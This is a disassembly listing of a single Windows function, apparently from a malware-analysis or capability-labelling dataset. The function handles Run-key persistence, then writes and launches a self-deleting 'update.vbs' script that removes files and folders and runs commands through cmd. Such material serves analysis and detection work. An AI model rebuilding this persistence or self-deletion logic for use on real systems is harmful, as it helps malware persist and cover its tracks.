Function at 0x40c86b
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.00411c50
cmp byte [0x46f9d4], 0x30
je 0x40c888
call fcn.0040ad6d
xor ebx, ebx
inc ebx
cmp byte [0x470d63], bl
jne 0x40c898
call fcn.004181e1
cmp byte [0x470a85], 0
je 0x40c8b2
mov ecx, 0x472d38
call fcn.00401ee4
mov ecx, eax
call fcn.0041a788
mov esi, 0x473200
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x470b33], bl
jne 0x40c8d9
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, edi
mov ecx, closesocket
call fcn.00412bc8
pop ecx
mov ebp, closesocket
cmp byte [0x470b30], bl
jne 0x40c8f8
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, edi
mov ecx, ebp
call fcn.00412bc8
pop ecx
cmp byte [0x470b31], bl
jne 0x40c915
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00412bc8
pop ecx
mov esi, 0x473278
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x473230
push str.exepath
mov ecx, ebx
call fcn.00401f8b
mov edx, eax
call fcn.0041289d
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c969
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401f8b
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0x464438
neg ebx
mov edx, ebp
mov ecx, 0x473248
sbb bl, bl
and bl, 1
call fcn.00406e2b
test al, al
je 0x40c9c1
push 0x80
mov ecx, 0x473248
call fcn.00401ee4
push eax
call esi
push str.update.vbs
push 0x464f50
call fcn.0043a51f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401ee9
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.0040415e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.004042dc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401ee9
test bl, bl
je 0x40ca72
push 0x464ff8
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.0040415e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042dc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x58]
call fcn.00401ee9
mov esi, 0x465030
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x28]
call fcn.00401ee9
test bl, bl
je 0x40cadd
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.004086c6
mov ebx, 0x473248
mov edx, ebp
mov ecx, ebx
call fcn.00406e2b
test al, al
je 0x40cb28
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0040ae47
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
push 0x4650f8
push 0x4650fc
lea ecx, [esp + 0xa8]
call fcn.0040415e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.004042fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x88]
call fcn.00401ee9
lea ecx, [esp + 0xa0]
call fcn.00401ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.004086c6
push edi
lea ecx, [esp + 0x74]
call fcn.00401ee4
push eax
lea ecx, [esp + 0x18]
call fcn.0040245c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a8e8
pop ecx
pop ecx
test al, al
je 0x40cc1c
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401ee4
push eax
push 0x4640d8
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40cc1c
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x70]
call fcn.00401ee9
lea ecx, [esp + 0x2c8]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret